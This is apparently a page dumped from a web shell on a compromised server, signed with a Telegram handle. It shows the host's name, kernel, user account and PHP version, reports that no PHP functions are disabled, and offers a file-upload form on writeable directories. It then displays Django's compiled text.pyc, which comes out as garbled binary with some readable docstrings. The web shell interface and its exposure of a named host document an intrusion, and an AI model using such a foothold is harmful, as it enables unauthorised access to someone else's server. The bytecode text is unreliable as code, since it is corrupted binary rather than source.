https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /lib64/python2.7/site-packages/django/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib64/python2.7/site-packages/django/utils/text.pyc
�
r�\c@s�ddlmZddlZddlZddlmZddlmZddlm	Z	ddl
mZmZddl
mZddlmZdd	lmZmZmZdd
lmZejr�ddlmZnd�Zeeej�Zejd
ejejB�Zejdej�Z d�Z!ee!ej�Z!defd��YZ"d�Z#ee#ej�Z#ed�d�Z$ee$ej�Z$d�Z%ee%ej�Z%d�Z&ee&�Z&d�Z'ee'�Z'd�Z(de)fd��YZ*d�Z+ejd�Z,e-d�Z.ee.ej�Z.ejdej/�Z0d�Z1d �Z2ejd!�Z3d"�Z4ee4ej�Z4d#�Z5ee5�Z5d$�Z6ee6ej�Z6dS(%i����(tunicode_literalsN(tGzipFile(tBytesIO(t
force_text(t
allow_lazytSimpleLazyObject(tsix(t
html_entities(t
ugettext_lazytugettexttpgettext(t	mark_safe(t
force_unicodecCs(|o't|�dj�t|�dS(Nii(Rtupper(tx((s3/tmp/pip-install-XxeQeY/django/django/utils/text.pyt<lambda>su&.*?;|<.*?>|(\w[\w-]*)u<(/)?([^ ]+?)(?:(\s*/)| .*?)?>cs.t�����fd�}dj|��S(u�
    A word-wrap function that preserves existing line breaks and most spaces in
    the text. Expects that existing line breaks are posix newlines.
    c3s�t�jd��}t|�}|Vt|�|jd�d}x�|D]�}d|krn|jd�}n	|f}|t|d�d7}|�kr�dVt|d�}n*dVt|�dkr�t|d�}n|VqJWdS(Nu u
iii����(titertsplittnexttlentrfind(tittwordtpostlines(ttexttwidth(s3/tmp/pip-install-XxeQeY/django/django/utils/text.pyt
_generator#s 
	u(Rtjoin(RRR((RRs3/tmp/pip-install-XxeQeY/django/django/utils/text.pytwrapst	TruncatorcBsheZdZd�Zdd�Zdd�Zee�Zded�Z	ee	�Z	d�Z
d�ZRS(uI
    An object used to truncate text, either by characters or words.
    cs#tt|�j�fd��dS(Ncs
t��S(N(R((R(s3/tmp/pip-install-XxeQeY/django/django/utils/text.pyR?s(tsuperRt__init__(tselfR((Rs3/tmp/pip-install-XxeQeY/django/django/utils/text.pyR >scCsf|dkrtdd�}nt|�}d|krE|i|d6S|j|�rX|Sd||fS(Nu%String to return when truncating textu%(truncated_text)s...u%(truncated_text)sutruncated_textu%s%s(tNoneR
Rtendswith(R!Rttruncate((s3/tmp/pip-install-XxeQeY/django/django/utils/text.pytadd_truncation_textAsc
Cst|�}tjd|j�}|}xF|jd|�D]2}tj|�s:|d8}|dkrlPqlq:q:Wd}d}x�t|�D]r\}	}tj|�r�q�n|d7}|dkr�||kr�|	}n||kr�|j||p�d |�Sq�W|S(u 
        Returns the text truncated to be no longer than the specified number
        of characters.

        Takes an optional argument of what should be used to notify that the
        string has been truncated, defaulting to a translatable string of an
        ellipsis (...).
        uNFCuiiN(tinttunicodedatat	normalizet_wrappedR%t	combiningR"t	enumerate(
R!tnumR$tlengthRttruncate_lentcharts_lent	end_indexti((s3/tmp/pip-install-XxeQeY/django/django/utils/text.pytcharsQs(	

	cCs2t|�}|r"|j||�S|j||�S(u�
        Truncates a string after a certain number of words. Takes an optional
        argument of what should be used to notify that the string has been
        truncated, defaulting to ellipsis (...).
        (R&t_html_wordst_text_words(R!R,R$thtmlR-((s3/tmp/pip-install-XxeQeY/django/django/utils/text.pytwordsxscCsQ|jj�}t|�|krD|| }|jdj|�|�Sdj|�S(uw
        Truncates a string after a certain number of words.

        Newlines in the string will be stripped.
        u (R)RRR%R(R!R-R$R7((s3/tmp/pip-install-XxeQeY/django/django/utils/text.pyR5�s

c	Cs�|dkrdSd}d}d}d}g}x!||krQtj|j|�}|s\Pn|jd�}|jd�r�|d7}||kr1|}q1q1ntj|jd��}	|	s1|r�q1n|	j�\}
}}|j�}|sN||krq1|
r>y|j	|�}
Wnt
k
r,qNX||
d}q1|jd|�q1W||kre|jS|j| }|jd|�}|r�||7}nx|D]}	|d
|	7}q�W|S(u�
        Truncates HTML to a certain number of words (not counting tags and
        comments). Closes opened tags if they were correctly closed in the
        given HTML.

        Newlines in the HTML are preserved.
        iuubrucolulinkubaseuimguparamuareauhruinputiu</%s>(	ubrucolulinkubaseuimguparamuareauhruinput(
tre_wordstsearchR)tendtgrouptre_tagtmatchtgroupstlowertindext
ValueErrortinsertR%(R!R-R$thtml4_singletsRtend_text_posR7t	open_tagstmttagtclosing_tagttagnametself_closingR2toutt
truncate_text((s3/tmp/pip-install-XxeQeY/django/django/utils/text.pyR4�sR
	




N(t__name__t
__module__t__doc__R R"R%R3RtFalseR7R5R4(((s3/tmp/pip-install-XxeQeY/django/django/utils/text.pyR:s	%
	cCs1t|�j�jdd�}tjdd|�S(u
    Returns the given string converted to a string that can be used for a clean
    filename. Specifically, leading and trailing spaces are removed; other
    spaces are converted to underscores; and anything that is not a unicode
    alphanumeric, dash, underscore, or dot, is removed.
    >>> get_valid_filename("john's portrait in 2004.jpg")
    'johns_portrait_in_2004.jpg'
    u u_u(?u)[^-\w.]u(Rtstriptreplacetretsub(ts((s3/tmp/pip-install-XxeQeY/django/django/utils/text.pytget_valid_filename�s	uorcCs�t|�dkrdSt|�dkr6t|d�Sdtd�jg|D]}t|�^qLd �t|�t|d�fS(u
    >>> get_text_list(['a', 'b', 'c', 'd'])
    'a, b, c or d'
    >>> get_text_list(['a', 'b', 'c'], 'and')
    'a, b and c'
    >>> get_text_list(['a', 'b'], 'and')
    'a and b'
    >>> get_text_list(['a'])
    'a'
    >>> get_text_list([])
    ''
    iuiu%s %s %su, i����(RRt_R(tlist_t	last_wordR2((s3/tmp/pip-install-XxeQeY/django/django/utils/text.pyt
get_text_list�s
/cCsttjdd|��S(Nu
\r\n|\r|\nu
(RRSRT(R((s3/tmp/pip-install-XxeQeY/django/django/utils/text.pytnormalize_newlines�scCs:t|�j�}tjd�}|jd�|�}|S(uCRecapitalizes text, placing caps after end-of-sentence punctuation.u(?:^|(?<=[\.\?\!] ))([a-z])cSs|jd�j�S(Ni(R;R
(R((s3/tmp/pip-install-XxeQeY/django/django/utils/text.pyR�s(RR?RStcompileRT(RtcapsRE((s3/tmp/pip-install-XxeQeY/django/django/utils/text.pytrecapitalize�scs�idd6dd6dd6dd6dd6dd6d	d
6d	d6d	d6d
d6d
d6d
d6dd6dd6dd6dd6dd6dd6dd6dd6dd6dd6dd6dd 6dd!6dd"6�d#j�fd$�|j�D��S(%uAConverts a phone number with letters into its numeric equivalent.u2uaubucu3udueufu4uguhuiu5ujukulu6umunuou7upuqurusu8utuuuvu9uwuxuyuzuc3s!|]}�j||�VqdS(N(tget(t.0tc(tchar2number(s3/tmp/pip-install-XxeQeY/django/django/utils/text.pys	<genexpr>s(RR?(tphone((Rbs3/tmp/pip-install-XxeQeY/django/django/utils/text.pyt
phone2numerics
-11-cCsEt�}tddddd|�}|j|�|j�|j�S(Ntmodeuwbt
compresslevelitfileobj(RRtwritetclosetgetvalue(RUtzbuftzfile((s3/tmp/pip-install-XxeQeY/django/django/utils/text.pytcompress_string
s
	

tStreamingBuffercBs5eZd�Zd�Zd�Zd�Zd�ZRS(cCs
g|_dS(N(tvals(R!((s3/tmp/pip-install-XxeQeY/django/django/utils/text.pyR scCs|jj|�dS(N(Rotappend(R!tval((s3/tmp/pip-install-XxeQeY/django/django/utils/text.pyRhscCsdj|j�}g|_|S(Nt(RRo(R!tret((s3/tmp/pip-install-XxeQeY/django/django/utils/text.pytreads	cCsdS(N((R!((s3/tmp/pip-install-XxeQeY/django/django/utils/text.pytflush scCsdS(N((R!((s3/tmp/pip-install-XxeQeY/django/django/utils/text.pyRi#s(RMRNR RhRtRuRi(((s3/tmp/pip-install-XxeQeY/django/django/utils/text.pyRns
				ccs{t�}tddddd|�}|j�Vx0|D](}|j|�|j�|j�Vq6W|j�|j�VdS(NReuwbRfiRg(RnRRtRhRuRi(tsequencetbufRltitem((s3/tmp/pip-install-XxeQeY/django/django/utils/text.pytcompress_sequence's	



u
([€-￿])cCs�d�}t|�tkr-|jd�}n$t|�tjkrQt|��n|jdd�}|jdd�}|jdd�}|jd	d
�}|jdd�}|r�|jd
d�}nttj	||��S(NcSsdt|jd��S(Nu\u%04xi(tordR;(R=((s3/tmp/pip-install-XxeQeY/django/django/utils/text.pytfix7suutf-8u\u\\u
u\ru
u\nu	u\tu'u\'u"u&quot;(
ttypetbytestdecodeRt	text_typet	TypeErrorRRtstrt
ustring_reRT(RUtquote_double_quotesR{((s3/tmp/pip-install-XxeQeY/django/django/utils/text.pytjavascript_quote5s	u�
    ((?:
        [^\s'"]*
        (?:
            (?:"(?:[^"\\]|\\.)*" | '(?:[^'\\]|\\.)*')
            [^\s'"]*
        )+
    ) | \S+)
ccs8t|�}x%tj|�D]}|jd�VqWdS(u�
    Generator that splits a string by spaces, leaving quoted phrases together.
    Supports both single and double quotes, and supports escaping quotes with
    backslashes. In the output, strings will keep their initial and trailing
    quote marks and escaped quotes will remain escaped (the results can then
    be further processed with unescape_string_literal()).

    >>> list(smart_split(r'This is "a person\'s" test.'))
    ['This', 'is', '"a person\\\'s"', 'test.']
    >>> list(smart_split(r"Another 'person\'s' test."))
    ['Another', "'person\\'s'", 'test.']
    >>> list(smart_split(r'A "\"funky\" style" test.'))
    ['A', '"\\"funky\\" style"', 'test.']
    iN(Rtsmart_split_retfinditerR;(Rtbit((s3/tmp/pip-install-XxeQeY/django/django/utils/text.pytsmart_splitTscCs�|jd�}|ddkr�|d}yC|ddkrRt|dd�}nt|�}tj|�SWq�tk
r�|jd�SXn<ytjtj|�SWn!ttfk
r�|jd�SXdS(Niiu#uxXi(R;R&RtunichrRARtname2codepointtKeyError(R=RRa((s3/tmp/pip-install-XxeQeY/django/django/utils/text.pyt_replace_entitygs

u#&(#?[xX]?(?:[0-9a-fA-F]+|\w{1,8}));cCstjt|�S(N(t
_entity_reRTR�(R((s3/tmp/pip-install-XxeQeY/django/django/utils/text.pytunescape_entities{scCsh|ddks$|d|dkr7td|��n|d}|dd!jd||�jdd�S(	ul
    Convert quoted string literals to unquoted strings with escaped quotes and
    backslashes unquoted::

        >>> unescape_string_literal('"abc"')
        'abc'
        >>> unescape_string_literal("'abc'")
        'abc'
        >>> unescape_string_literal('"a \"bc\""')
        'a "bc"'
        >>> unescape_string_literal("'\'ab\' c'")
        "'ab' c"
    iu"'i����uNot a string literal: %riu\%su\\u\(RARR(RUtquote((s3/tmp/pip-install-XxeQeY/django/django/utils/text.pytunescape_string_literals$
cCsatjd|�jdd�jd�}tjdd|�j�j�}ttjdd|��S(u�
    Converts to lowercase, removes non-word characters (alphanumerics and
    underscores) and converts spaces to hyphens. Also strips leading and
    trailing whitespace.
    uNFKDuasciiuignoreu[^\w\s-]uu[-\s]+u-(	R'R(tencodeR~RSRTRQR?R(tvalue((s3/tmp/pip-install-XxeQeY/django/django/utils/text.pytslugify�s'!(7t
__future__RRSR'tgzipRtioRtdjango.utils.encodingRtdjango.utils.functionalRRtdjango.utilsRtdjango.utils.six.movesRtdjango.utils.translationRR	RWR
tdjango.utils.safestringRtPY2RtcapfirstRR\tUtSR8R<RRRVRZR[R^RdRmtobjectRnRyR�RPR�tVERBOSER�R�R�R�R�R�R�(((s3/tmp/pip-install-XxeQeY/django/django/utils/text.pyt<module>s\			�												

https://t.me/AnonymousX5 - 2025